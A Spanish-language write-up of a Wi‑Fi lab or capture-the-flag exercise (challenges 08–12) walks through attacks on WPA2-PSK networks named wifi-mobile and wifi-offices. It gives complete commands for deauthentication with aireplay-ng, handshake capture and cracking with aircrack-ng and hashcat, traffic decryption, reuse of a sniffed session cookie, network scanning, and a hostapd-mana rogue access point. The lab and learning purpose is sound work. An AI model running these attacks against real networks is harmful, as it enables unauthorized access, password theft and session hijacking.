Challenges PSK
En este capítulo vamos a realizar los siguientes retos:
Challenge 08 - ¿Cuál es la contraseña del punto de acceso wifi-mobile?
Challenge 09 - ¿Cuál es la IP del servidor web en la red wifi-mobile?
Challenge 10 - ¿Cuál es la flag después de iniciar sesión en wifi-mobile?
Challenge 11 - ¿Existe aislamiento de clientes en la red wifi-mobile?
Challenge 12 - ¿Cuál es la contraseña de wifi-offices?
Challenge 08
¿Cuál es la contraseña del punto de acceso wifi-mobile?
Activamos el modo monitor
## Detener NertworkManager para evitar conflicto con las interfaces
systemctl stop NetworkManager
## Activamos la interfaz y ponemos en modo monitor
# Desactivamos la interfaz {wlan0}
ip link set wlan0 down
# Modo monitor {wlan0}
iwconfig wlan0 mode monitor
# Activamos la interfaz {wlan0}
ip link set wlan0 up
# Comprobamos modo monitor {wlan0}
iwconfig wlan0Escanemos todas la redes hasta encontrar el BSSID y channel de la wifi-mobile -->
airodump-ng wlan0
Ahora escaneamos exclusiviamente ese canal y ese bssid -->
airodump-ng wlan0 --band bag -c 6 --bssid F0:9F:C2:71:22:12 -w /home/user/wifi/PSK/wifi-mobile
Para obtener el handshake, debemos esperar a que un cliente se autentifique solo a la red, o hacer un ataque de des autentificación -->
Espera del handshake
Ataque de des autentificación
aireplay-ng -0 10 -a F0:9F:C2:71:22:12 -c 28:6C:07:6F:F9:43 wlan0-0 10: 10 siendo la cantidad de paquetes que queremos mandar para des autentificar-a: El BSSID de la red / wifi-mobile-c: La MAC de un usuario conectado a esa red
TAMBIEN se puede hacer sin especificar la MAC "-c" para des autentificar a todo los usuarios de la red, solo que algunos AP da problemas:
aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0
Ahora vemos que en la seccion NOTES : EAPOL por que tenemos el handshake de esos usuarios
Utilizamos aircrack-ng para romper la contraseña del handshake, previamente habiendo capturado el trafico con airodump-ng -->
aircrack-ng -w /root/rockyou-top100000.txt wifi-mobile-02.cap
Challenge 09
¿Cuál es la IP del servidor web en la red wifi-mobile?
Tras tener la clave de la wifi y el handshake, podemos descifrar todo el trafico previamente recogido y verlo con airdecap-ng -->
airdecap-ng -e wifi-mobile -p starwars1 wifi-mobile-02.cap-e: Nombre de la wifi/bssid-p: Contraseña crackeada.cap: Trafico y handshake capturado
Vemos que se ha
descifrado 5402 paquetesy este nuevo archivo descifrado se guarda como
-dec
Ahora abrimos con wireshark para leer le trafico:
wireshark wifi-mobile-02-dec.cap
Vemos mucho trafico TCP y entre ello, conexiones a la 192.168.2.1 (siendo este el servidor/router)
Viendo asi el panel de login del router y como un usaurio esta dentro con un COOKIE seteada
Challenge 10
¿Cuál es la flag después de iniciar sesión en wifi-mobile?
Ahora sabieno la ip y la cookie, solo nos queda conectarnos con wpa_supplicant y lo configuramos con la info del AP para conectarnos -->
## Creamos el archivo wpa_supplicant
nano wifi-mobile.conf
## Configuramos
network={
ssid="wifi-mobile"
psk="starwars1"
scan_ssid=1
key_mgmt=WPA-PSK
proto=WPA2
}
## Nos conectamos con wpa_supplicant a la red
wpa_supplicant -i wlan2 -c wifi-mobile.conf
Ahora utilizamos dhclient para obtener IP -->
dhclient -v wlan2
Apuntamos a la web 192.168.2.1:80 desde el navegador -->
No tenemos usuario y contraseña pero si una COOKIE de session obtenida con el wireshark, que modificamos, reemplazamos y reinicamos la web -->
Esto funciona porla la cookie en la web esta mal configurada con un
HttpOnly=false
Challenge 11
¿Existe aislamiento de clientes en la red wifi-mobile?
Para saber esto, una vez conetados, podemos lanzar un escaneo a la red con arp-scan para ver los equipos conectados:
arp-scan -I wlan2 -l
Ahora podemos lanzar un nmap al 192.168.2.7 para ver que puertos tiene abiertos -->
nmap -p- --open -sS 192.168.2.7 -n -Pn
############################################
PORT STATE SERVICE
80/tcp open httpAhora siendo que tiene una web por detrás, podemos hacer un curl o ir directamente del el navegador:
Challenge 12
¿Cuál es la contraseña de wifi-offices?
Al escanear los APs, vemos que existen dos usuarios conectados una wifi-officies, pero no vemos el AP ni su BSSID -->
Asi que podemos hacer un ataque de NO AP, con hostapd-mana
Hostapd-mana
## Creamos un fichero de hostapd
nano wifi-offices-hostapd.conf
## Configuramos
interface=wlan1
driver=nl80211
hw_mode=g
channel=1
ssid=wifi-offices
mana_wpaout=hostapd.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678
## Ejecutamos hostapd-mana
hostapd-mana wifi-offices-hostapd.conf
Con esto obtenemos el handshake de dos usuarios conectados. Y ahora podemos coger solo el hash con awk -->
cat hostapd.hccapx | awk '{print $3}' > wifi-offices-hostapd.22000
Ahora en formato 22000, podemos pasarselo a hashcat para crackear la contraseña -->
hashcat -a 0 -m 22000 wifi-offices-hostapd.22000 /root/rockyou-top100000.txt --force
Last updated